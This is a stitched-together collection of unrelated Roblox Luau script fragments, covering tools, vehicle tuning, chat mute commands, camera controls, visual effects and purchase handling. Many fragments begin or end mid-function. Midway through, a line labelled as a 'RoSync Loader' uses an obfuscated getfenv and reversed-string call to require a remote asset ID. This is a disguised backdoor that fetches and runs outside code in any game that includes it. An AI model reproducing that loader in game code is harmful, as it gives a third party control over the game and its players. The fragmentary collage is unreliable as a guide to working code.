for i, v in pairs(ConnectedParts) do
if v:IsA("BasePart") then
TotalMass = (TotalMass + v:GetMass())
end
end
local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
GravityEffect.force = Vector3.new(0, TotalMass, 0)
end
function HandleGravityEffect(Enabled)
if not CheckIfAlive() then
return
end
for i, v in pairs(Torso:GetChildren()) do
if v:IsA("BodyForce") then
v:Destroy()
end
end
for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
if v then
v:disconnect()
end
end
if Enabled then
CurrentlyEquipped = true
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
SetGravityEffect()
DescendantAdded = Character.DescendantAdded:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
DescendantRemoving = Character.DescendantRemoving:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if HumanoidDied then
HumanoidDied:disconnect()
end
HumanoidDied = Humanoid.Died:connect(function()
if GravityEffect and GravityEffect.Parent then
GravityEffect:Destroy()
end
end)
HandleGravityEffect(true)
ToolEquipped = true
end
function Unequipped()
if HumanoidDied then
HumanoidDied:disconnect()
end
HandleGravityEffect(false)
ToolEquipped = false
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--- Decode/uncompress
|
Compress.Decode = function(str)
--- Attempt to decode string
local decoded = Decode(str)
--- Decode nil?
if not decoded then
_L.Print("Failed to decode string", true)
return
end
--
return decoded
end
|
--[[Steering]]
|
Tune.SteerInner = 49 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 50 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .02 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 150 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
-- Function to bind to equip event
|
local function equip()
local character = player.Character
local humanoid = character.Humanoid
-- Setup joint variables
if humanoid.RigType == Enum.HumanoidRigType.R6 then
local torso = character.Torso
neck = torso.Neck
shoulder = torso["Right Shoulder"]
elseif humanoid.RigType == Enum.HumanoidRigType.R15 then
neck = character.Head.Neck
shoulder = character.RightUpperArm.RightShoulder
end
oldNeckC0 = neck.C0
oldShoulderC0 = shoulder.C0
-- Remember old mouse icon and update current
oldIcon = mouse.Icon
mouse.Icon = "http://www.roblox.com/asset/?id=79658449"
-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped
if userInputService.TouchEnabled then
connection = userInputService.TouchMoved:connect(mobileFrame)
else
connection = render:connect(pcFrame)
end
-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate
-- during touch input
userInputService.TouchStarted:connect(function(touch, processed)
mobileShouldTrack = not processed
end)
userInputService.TouchEnded:connect(function(touch, processed)
mobileShouldTrack = false
end)
-- If game uses filtering enabled then need to update server while tool is
-- held by character.
if workspace.FilteringEnabled then
while connection and connection.Connected do
wait()
game.ReplicatedStorage.ROBLOX_RocketUpdateEvent:FireServer(neck.C0, shoulder.C0)
end
end
end
|
-- Services
|
local DebrisService = game:GetService("Debris")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local PlayersService = game:GetService("Players")
|
-- The maximum distance the can can shoot, this value should never go above 1000
|
local Range = 150
|
-- Roblox Services
|
local HttpService = game:GetService( "HttpService" )
|
--[Variables]--
|
local Lowest = 0.4
local Pitch = Lowest
|
--------------------------------------------------------------------------------------------------------------------------------------
|
function PressL(key)
if (key== "l") then
if (Activate==false) then
game.Players.LocalPlayer.Character.Helmet.LS.Light.Enabled=true
game.Players.LocalPlayer.Character.Helmet.Flashlight.Material = "Neon"
game.Players.LocalPlayer.Character.Helmet.Flashlight.BrickColor = BrickColor.new("Brick yellow")
Activate = true
elseif (Activate==true) then
game.Players.LocalPlayer.Character.Helmet.LS.Light.Enabled=false
game.Players.LocalPlayer.Character.Helmet.Flashlight.Material = "SmoothPlastic"
game.Players.LocalPlayer.Character.Helmet.Flashlight.BrickColor = BrickColor.new("Black")
Activate=false
end
end
end
Mouse.KeyDown:connect(PressL)
|
--Adds sparks effect to a Lightning Bolt
|
local LightningBolt = require(script.Parent)
local ActiveSparks = {}
local rng = Random.new()
local LightningSparks = {}
LightningSparks.__index = LightningSparks
function LightningSparks.new(LightningBolt, MaxSparkCount)
local self = setmetatable({}, LightningSparks)
--Main (default) properties--
self.Enabled = true --Stops spawning sparks when false
self.LightningBolt = LightningBolt --Bolt which sparks fly out of
self.MaxSparkCount = MaxSparkCount or 10 --Max number of sparks visible at any given instance
self.MinSpeed, self.MaxSpeed = 4, 6 --Min and max PulseSpeeds of sparks
self.MinDistance, self.MaxDistance = 3, 6 --Governs how far sparks travel away from main bolt
self.MinPartsPerSpark, self.MaxPartsPerSpark = 8, 10 --Adjustable
--
self.SparksN = 0
self.SlotTable = {}
self.RefIndex = #ActiveSparks + 1
ActiveSparks[self.RefIndex] = self
return self
end
function LightningSparks:Destroy()
ActiveSparks[self.RefIndex] = nil
for i, v in pairs(self.SlotTable) do
if v.Parts[1].Parent == nil then
self.SlotTable[i] = nil --Removes reference to prevent memory leak
end
end
self = nil
end
function RandomVectorOffset(v, maxAngle) --returns uniformly-distributed random unit vector no more than maxAngle radians away from v
return (CFrame.lookAt(Vector3.new(), v)*CFrame.Angles(0, 0, rng:NextNumber(0, 2*math.pi))*CFrame.Angles(math.acos(rng:NextNumber(math.cos(maxAngle), 1)), 0, 0)).LookVector
end
game:GetService("RunService").Heartbeat:Connect(function ()
for _, ThisSpark in pairs(ActiveSparks) do
if ThisSpark.Enabled == true and ThisSpark.SparksN < ThisSpark.MaxSparkCount then
local Bolt = ThisSpark.LightningBolt
if Bolt.Parts[1].Parent == nil then
ThisSpark:Destroy()
return
end
local BoltParts = Bolt.Parts
local BoltPartsN = #BoltParts
local opaque_parts = {}
for part_i = 1, #BoltParts do --Fill opaque_parts table
if BoltParts[part_i].Transparency < 0.3 then --minimum opacity required to be able to generate a spark there
opaque_parts[#opaque_parts + 1] = (part_i - 0.5) / BoltPartsN
end
end
local minSlot, maxSlot
if #opaque_parts ~= 0 then
minSlot, maxSlot = math.ceil(opaque_parts[1]*ThisSpark.MaxSparkCount), math.ceil(opaque_parts[#opaque_parts]*ThisSpark.MaxSparkCount)
end
for _ = 1, rng:NextInteger(1, ThisSpark.MaxSparkCount - ThisSpark.SparksN) do
if #opaque_parts == 0 then break end
local available_slots = {}
for slot_i = minSlot, maxSlot do --Fill available_slots table
if ThisSpark.SlotTable[slot_i] == nil then --check slot doesn't have existing spark
available_slots[#available_slots + 1] = slot_i
end
end
if #available_slots ~= 0 then
local ChosenSlot = available_slots[rng:NextInteger(1, #available_slots)]
local localTrng = rng:NextNumber(-0.5, 0.5)
local ChosenT = (ChosenSlot - 0.5 + localTrng)/ThisSpark.MaxSparkCount
local dist, ChosenPart = 10, 1
for opaque_i = 1, #opaque_parts do
local testdist = math.abs(opaque_parts[opaque_i] - ChosenT)
if testdist < dist then
dist, ChosenPart = testdist, math.floor((opaque_parts[opaque_i]*BoltPartsN + 0.5) + 0.5)
end
end
local Part = BoltParts[ChosenPart]
--Make new spark--
local A1, A2 = {}, {}
A1.WorldPosition = Part.Position + localTrng*Part.CFrame.RightVector*Part.Size.X
A2.WorldPosition = A1.WorldPosition + RandomVectorOffset(Part.CFrame.RightVector, math.pi/4)*rng:NextNumber(ThisSpark.MinDistance, ThisSpark.MaxDistance)
A1.WorldAxis = (A2.WorldPosition - A1.WorldPosition).Unit
A2.WorldAxis = A1.WorldAxis
local NewSpark = LightningBolt.new(A1, A2, rng:NextInteger(ThisSpark.MinPartsPerSpark, ThisSpark.MaxPartsPerSpark))
--NewSpark.MaxAngleOffset = math.rad(70)
NewSpark.MinRadius, NewSpark.MaxRadius = 0, 0.8
NewSpark.AnimationSpeed = 0
NewSpark.Thickness = Part.Size.Y / 2
NewSpark.MinThicknessMultiplier, NewSpark.MaxThicknessMultiplier = 1, 1
NewSpark.PulseLength = 0.5
NewSpark.PulseSpeed = rng:NextNumber(ThisSpark.MinSpeed, ThisSpark.MaxSpeed)
NewSpark.FadeLength = 0.25
local cH, cS, cV = Color3.toHSV(Part.Color)
NewSpark.Color = Color3.fromHSV(cH, 0.5, cV)
ThisSpark.SlotTable[ChosenSlot] = NewSpark
--
end
end
end
--Update SparksN--
local slotsInUse = 0
for i, v in pairs(ThisSpark.SlotTable) do
if v.Parts[1].Parent ~= nil then
slotsInUse = slotsInUse + 1
else
ThisSpark.SlotTable[i] = nil --Removes reference to prevent memory leak
end
end
ThisSpark.SparksN = slotsInUse
--
end
end)
return LightningSparks
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "TopHat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, 0.6, -0.170)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--[[
Returns a new object of the registry's class and indexes it with the given key
]]
|
function Registry:add(key, ...)
if self.objects[key] then
warn(string.format("[Registry] - object already exists for key %s", tostring(key)))
self:remove(key)
end
local object = self.class.new(key, ...)
self.objects[key] = object
return object
end
|
--Weld stuff here
|
MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Hood.Parts,misc.Hood.Hinge)
MakeWeld(car.Misc.Wheel.W,car.DriveSeat,"Motor").Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.W)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
--------------------------UTIL LIBRARY-------------------------------
|
local Utility = {}
do
local function FindCharacterAncestor(part)
if part then
local humanoid = part:FindFirstChildOfClass("Humanoid")
if humanoid then
return part, humanoid
else
return FindCharacterAncestor(part.Parent)
end
end
end
Utility.FindCharacterAncestor = FindCharacterAncestor
local function Raycast(ray, ignoreNonCollidable: boolean, ignoreList: {Model})
ignoreList = ignoreList or {}
local hitPart, hitPos, hitNorm, hitMat = Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if hitPart then
if ignoreNonCollidable and hitPart.CanCollide == false then
-- We always include character parts so a user can click on another character
-- to walk to them.
local _, humanoid = FindCharacterAncestor(hitPart)
if humanoid == nil then
table.insert(ignoreList, hitPart)
return Raycast(ray, ignoreNonCollidable, ignoreList)
end
end
return hitPart, hitPos, hitNorm, hitMat
end
return nil, nil
end
Utility.Raycast = Raycast
end
local humanoidCache = {}
local function findPlayerHumanoid(player: Player)
local character = player and player.Character
if character then
local resultHumanoid = humanoidCache[player]
if resultHumanoid and resultHumanoid.Parent == character then
return resultHumanoid
else
humanoidCache[player] = nil -- Bust Old Cache
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoidCache[player] = humanoid
end
return humanoid
end
end
end
|
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
|
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} end
if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then
function ChatLocalization:FormatMessageToSend(key,default) return default end
end
local errorTextColor = ChatSettings.ErrorMessageTextColor or Color3.fromRGB(245, 50, 50)
local errorExtraData = {ChatColor = errorTextColor}
local function Run(ChatService)
local function GetSpeakerNameFromMessage(message)
local speakerName = message
if string.sub(message, 1, 1) == "\"" then
local pos = string.find(message, "\"", 2)
if pos then
speakerName = string.sub(message, 2, pos - 1)
end
else
local first = string.match(message, "^[^%s]+")
if first then
speakerName = first
end
end
return speakerName
end
local function DoMuteCommand(speakerName, message, channel)
local muteSpeakerInputName = GetSpeakerNameFromMessage(message)
local speaker = ChatService:GetSpeaker(speakerName)
if speaker then
local muteSpeakerName, muteSpeakerError
--Get the target user's UserName from the input (which could be userName or displayName)
if ChatSettings.PlayerDisplayNamesEnabled then
muteSpeakerName, muteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(muteSpeakerInputName, speakerName, speaker:GetNameForDisplay())
else
muteSpeakerName, muteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(muteSpeakerInputName, speakerName, nil)
end
local muteSpeaker = ChatService:GetSpeaker(muteSpeakerName)
if muteSpeakerError == DisplayNameHelpers.CommandErrorCodes.ChattingToSelf then
speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("GameChat_DoMuteCommand_CannotMuteSelf", "You cannot mute yourself."), channel, errorExtraData)
elseif muteSpeakerError == DisplayNameHelpers.CommandErrorCodes.NoMatches then
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_MuteSpeaker_SpeakerDoesNotExist",
string.format("Speaker '%s' does not exist.", tostring(muteSpeakerInputName)),
"RBX_NAME",
tostring(muteSpeakerName))
speaker:SendSystemMessage(msg, channel, errorExtraData)
elseif muteSpeakerError == DisplayNameHelpers.CommandErrorCodes.MultipleMatches then
local matchingUsersText = DisplayNameHelpers.getUsersWithDisplayNameString(muteSpeakerInputName, speakerName)
speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("InGame.Chat.Response.DisplayNameMultipleMatches", "Warning: The following users have this display name: "), channel, errorExtraData)
--Send a second message with a list of names so that the localization formatter doesn't prune it
speaker:SendSystemMessage(matchingUsersText, channel, errorExtraData)
elseif muteSpeaker then
speaker:AddMutedSpeaker(muteSpeaker.Name)
local muteSpeakerDisplayName = muteSpeakerName
if ChatSettings.PlayerDisplayNamesEnabled then
muteSpeakerDisplayName = muteSpeaker:GetNameForDisplay()
end
local msg = ChatLocalization:FormatMessageToSend("GameChat_ChatMain_SpeakerHasBeenMuted",
string.format("Speaker '%s' has been muted.", muteSpeakerDisplayName),
"RBX_NAME",
muteSpeakerDisplayName)
speaker:SendSystemMessage(msg, channel)
end
end
end
local function DoUnmuteCommand(speakerName, message, channel)
local unmuteSpeakerInputName = GetSpeakerNameFromMessage(message)
local speaker = ChatService:GetSpeaker(speakerName)
if speaker then
local unmuteSpeakerName, unmuteSpeakerError
--Get the target user's UserName from the input (which could be userName or displayName)
if ChatSettings.PlayerDisplayNamesEnabled then
unmuteSpeakerName, unmuteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(unmuteSpeakerInputName, speakerName, speaker:GetNameForDisplay())
else
unmuteSpeakerName, unmuteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(unmuteSpeakerInputName, speakerName, nil)
end
local unmuteSpeaker = ChatService:GetSpeaker(unmuteSpeakerName)
if unmuteSpeakerError == DisplayNameHelpers.CommandErrorCodes.ChattingToSelf then
speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("GameChat_DoMuteCommand_CannotMuteSelf","You cannot mute yourself."), channel, errorExtraData)
return
elseif unmuteSpeakerError == DisplayNameHelpers.CommandErrorCodes.NoMatches then
local msg = ChatLocalization:FormatMessageToSend("GameChat_MuteSpeaker_SpeakerDoesNotExist",
string.format("Speaker '%s' does not exist.", tostring(unmuteSpeakerName)),
"RBX_NAME",
tostring(unmuteSpeakerName))
speaker:SendSystemMessage(msg, channel, errorExtraData)
return
elseif unmuteSpeakerError == DisplayNameHelpers.CommandErrorCodes.MultipleMatches then --More than one DisplayName match
local matchingUsersText = DisplayNameHelpers.getUsersWithDisplayNameString(unmuteSpeakerInputName, speakerName)
speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("InGame.Chat.Response.DisplayNameMultipleMatches", "Warning: The following users have this display name: "), channel, errorExtraData)
--Send a second message with a list of names so that the localization formatter doesn't prune it
speaker:SendSystemMessage(matchingUsersText, channel, errorExtraData)
return
elseif unmuteSpeaker then
speaker:RemoveMutedSpeaker(unmuteSpeaker.Name)
local playerName = unmuteSpeakerName
if ChatSettings.PlayerDisplayNamesEnabled then
playerName = unmuteSpeaker:GetNameForDisplay()
end
local msg = ChatLocalization:FormatMessageToSend("GameChat_ChatMain_SpeakerHasBeenUnMuted",
string.format("Speaker '%s' has been unmuted.", playerName),
"RBX_NAME",
playerName)
speaker:SendSystemMessage(msg, channel)
return
end
end
end
local function MuteCommandsFunction(fromSpeaker, message, channel)
local processedCommand = false
if string.sub(message, 1, 6):lower() == "/mute " then
DoMuteCommand(fromSpeaker, string.sub(message, 7), channel)
processedCommand = true
elseif string.sub(message, 1, 8):lower() == "/unmute " then
DoUnmuteCommand(fromSpeaker, string.sub(message, 9), channel)
processedCommand = true
end
return processedCommand
end
ChatService:RegisterProcessCommandsFunction("mute_commands", MuteCommandsFunction, ChatConstants.StandardPriority)
end
return Run
|
--[[
The base part of a system component. A BaseSystem can be turned on and off, with a health amount.
]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerStorage = game:GetService("ServerStorage")
local CollectionService = game:GetService("CollectionService")
local TweenService = game:GetService("TweenService")
local ClassUtils = require(ReplicatedStorage.Dependencies.LuaUtils.ClassUtils)
local Logger = require(ReplicatedStorage.Dependencies.GameUtils.Logger)
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local sendAlert = require(ServerStorage.Source.Common.sendAlert)
local translate = require(ReplicatedStorage.Dependencies.GameUtils.TranslateUtils).translate
local remotesFolder = ReplicatedStorage.Remotes
local CreateMarker = remotesFolder.CreateMarker
local DestroyMarker = remotesFolder.DestroyMarker
local DEFAULT_STARTING_HEALTH = 100
local DEFAULT_TOOLKIT_HEALING_AMOUNT = 45
local MONSTER_DAMAGE = 20
local MONSTER_DEBOUNCE_TIME = 4
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out)
|
-- ScreenSpace -> WorldSpace. Taking a screen width that you want that object to be
-- and a world width that is the size of that object, and returning the position to
-- put that object at to satisfy those.
|
function ScreenSpace.ScreenToWorldByWidth(x, y, screenWidth, worldWidth)
local aspectRatio = ScreenSpace.AspectRatio()
local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
local wfactor = aspectRatio*hfactor
local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY()
--
local depth = - (sx * worldWidth) / (screenWidth * 2 * wfactor)
--
local xf, yf = x/sx*2 - 1, y/sy*2 - 1
local xpos = xf * -wfactor * depth
local ypos = yf * hfactor * depth
--
return Vector3.new(xpos, ypos, depth)
end
return ScreenSpace
|
--[[
If it exists, will remove the cached player character appearance of specified userId
]]
|
function CharacterAppearanceCache.removeCachedAppearance(userId)
if not appearanceCache[tostring(userId)] then
Logger.warn("Cannot remove cached appearance for user ", userId, " as it is does not exist")
return
end
appearanceCache[userId] = nil
end
return CharacterAppearanceCache
|
--[[ Last synced 10/14/2020 09:25 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
_L.Services.MarketplaceService.ProcessReceipt = function(receiptInfo)
--- Reciept info
local playerId = receiptInfo.PlayerId
local productId, purchaseId = receiptInfo.ProductId, receiptInfo.PurchaseId
local currencySpent, currencyType = receiptInfo.CurrencySpent, receiptInfo.CurrencyType
local placeId = receiptInfo.PlaceIdWherePurchased
--- Find the player instance from playerId (scans several times just in case)
local function FindPlayer()
local player = game.Players:GetPlayerByUserId(playerId)
local attempts = 0
while (not player) and attempts < 20 do
wait(.2)
player = game.Players:GetPlayerByUserId(playerId)
attempts = attempts + 1
end
return player
end
--- Process product reciept
local player = FindPlayer()
if player then
--print(productId)
local productDir = Products.GetDir(productId)
--print(productDir)
local playerStats = _L.Saving.Get(player)
if productDir and playerStats then
--- Reward the player for purchasing this product based on the callback!
local pass = false
local pass2 = pcall(function()
pass = productDir.Callback(player, receiptInfo)
end)
--- Success!
if pass and pass2 then
pcall(function()
_L.Network.Fire("Product Bought", player, receiptInfo)
_L.Signal.Fire("Product Bought", player, receiptInfo)
_L.Analytics.Purchase("product", player.Name, productId)
end)
return Enum.ProductPurchaseDecision.PurchaseGranted
end
end
end
--- Failed, for some reason. Attempt to let the player know (if they are in the server)
pcall(function()
if player then
_L.Network.Fire("Product Failed", player, receiptInfo)
print("[bold]HUGE ISSUE: Failed to process product purchase! (plr: " .. player.Name .. " | id: " .. productId .. ") [/bold]", true)
else
print("[bold]HUGE ISSUE: Failed to process product purchase, could not find player! (plr: " .. playerId .. " | id: " .. productId .. ") [/bold]", true)
end
end)
--
return Enum.ProductPurchaseDecision.NotProcessedYet
end
|
-- if self.L3ButtonDown then
-- -- L3 Thumbstick is depressed, right stick controls dolly in/out
-- if (input.Position.Y > THUMBSTICK_DEADZONE) then
-- self.currentZoomSpeed = 0.96
-- elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then
-- self.currentZoomSpeed = 1.04
-- else
-- self.currentZoomSpeed = 1.00
-- end
-- else
|
if state == Enum.UserInputState.Cancel then
self.gamepadPanningCamera = ZERO_VECTOR2
return
end
local inputVector = Vector2.new(input.Position.X, -input.Position.Y)
if inputVector.magnitude > THUMBSTICK_DEADZONE then
self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)
else
self.gamepadPanningCamera = ZERO_VECTOR2
end
--end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:DoKeyboardPanTurn(name, state, input)
if not self.hasGameLoaded and VRService.VREnabled then
return Enum.ContextActionResult.Pass
end
if state == Enum.UserInputState.Cancel then
self.turningLeft = false
self.turningRight = false
return Enum.ContextActionResult.Sink
end
if self.panBeginLook == nil and self.keyPanEnabled then
if input.KeyCode == Enum.KeyCode.Left then
self.turningLeft = state == Enum.UserInputState.Begin
elseif input.KeyCode == Enum.KeyCode.Right then
self.turningRight = state == Enum.UserInputState.Begin
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:DoPanRotateCamera(rotateAngle)
local angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25)
if angle ~= 0 then
self.rotateInput = self.rotateInput + Vector2.new(angle, 0)
self.lastUserPanCamera = tick()
self.lastCameraTransform = nil
end
end
function BaseCamera:DoKeyboardPan(name, state, input)
if FFlagUserNoMoreKeyboardPan or not self.hasGameLoaded and VRService.VREnabled then
return Enum.ContextActionResult.Pass
end
if state ~= Enum.UserInputState.Begin then
return Enum.ContextActionResult.Pass
end
if self.panBeginLook == nil and self.keyPanEnabled then
if input.KeyCode == Enum.KeyCode.Comma then
self:DoPanRotateCamera(-math.pi*0.1875)
elseif input.KeyCode == Enum.KeyCode.Period then
self:DoPanRotateCamera(math.pi*0.1875)
elseif input.KeyCode == Enum.KeyCode.PageUp then
self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(15))
self.lastCameraTransform = nil
elseif input.KeyCode == Enum.KeyCode.PageDown then
self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(-15))
self.lastCameraTransform = nil
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function BaseCamera:DoGamepadZoom(name, state, input)
if input.UserInputType == self.activeGamepad then
if input.KeyCode == Enum.KeyCode.ButtonR3 then
if state == Enum.UserInputState.Begin then
if self.distanceChangeEnabled then
local dist = self:GetCameraToSubjectDistance()
if FFlagUserThirdGamepadZoomStep then
if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)
elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)
else
self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)
end
else
if dist > 0.5 then
self:SetCameraToSubjectDistance(0)
else
self:SetCameraToSubjectDistance(10)
end
end
end
end
elseif input.KeyCode == Enum.KeyCode.DPadLeft then
self.dpadLeftDown = (state == Enum.UserInputState.Begin)
elseif input.KeyCode == Enum.KeyCode.DPadRight then
self.dpadRightDown = (state == Enum.UserInputState.Begin)
end
if self.dpadLeftDown then
self.currentZoomSpeed = 1.04
elseif self.dpadRightDown then
self.currentZoomSpeed = 0.96
else
self.currentZoomSpeed = 1.00
end
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
|
-- Initialize the tool
|
local LightingTool = {
Name = 'Lighting Tool';
Color = BrickColor.new 'Really black';
};
|
--AGAIN DO NOT MESS WITH ANYTHING UNLESS YOU KNOW WHAT YOU'RE DOING
-- wat3r_l3g3nds
|
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
local runService = game:GetService("RunService")
local input = game:GetService("UserInputService")
local players = game:GetService("Players")
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;}
local cam = game.Workspace.CurrentCamera
local player = players.LocalPlayer
local m = player:GetMouse()
m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon
local running = true
local freemouse = false
|
-- / Functions / --
|
EventModule.ActivateEvent = function()
for _, Player in pairs(PlayingTeam:GetPlayers()) do
if Player then
local Character = Player.Character or Player.CharacterAdded:Wait()
if Character then
local Highlight = Instance.new("Highlight")
Highlight.Parent = Character
end
end
end
end
|
-- Body Movers:
|
MainPart.BodyPosition.MaxForce = Vector3.new(0,math.huge,0)
MainPart.BodyPosition.Position = Vector3.new(0,MainPart.Position.Y,0)
MainPart.BodyGyro.CFrame = MainPart.CFrame
MainPart.BodyGyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
MainPart.BodyVelocity.MaxForce = Vector3.new(math.huge,0,math.huge)
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
script.Parent.Parent.Body.Lights.RunL.Material = "Neon"
script.Parent.Parent.Body.Lights.RunR.Material = "Neon"
script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl")
script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl")
script.Parent.Parent.Body.Dash.Screen.G.Enabled = true
script.Parent.Parent.Body.Dash.DashSc.G.Enabled = true
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Parent.Body.Lights.RunL.Material = "SmoothPlastic"
script.Parent.Parent.Body.Lights.RunR.Material = "SmoothPlastic"
script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl")
script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl")
script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false
end
end
end
end)
|
--partClone.Anchored = true --NOTE: DOES NOT WORK if part is anchored!
|
DebrisService:AddItem(partClone, 0.1)
partClone.Parent = Workspace
partClone.Touched:connect(OnTouched)
|
-- ALEX WAS HERE LOL
|
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
local u1 = nil;
function Unlock()
u1:Destroy();
end;
function IsUnlocked()
if v1.Save.Get().OwnsVaultGate then
return true;
end;
return false;
end;
function Buy()
local v2, v3 = v1.Network.Invoke("Buy Vault Gate");
if not v2 then
v1.Message.New(v3 or "Error");
else
Unlock();
return;
end;
end;
function Prompt()
if v1.Message.New("Do you want to unlock ?", true) then
Buy();
end;
end;
function Setup()
local v4 = v1.WorldCmds.GetMap();
if v4:FindFirstChild("Interactive") then
u1 = v4.Interactive:FindFirstChild("Secret Vault");
if u1 then
if IsUnlocked() then
else
local v5, v6 = v1.Interact.Add(u1:FindFirstChild("Interact"), {
dist = 15
});
v5:Connect(function()
Prompt();
end);
return;
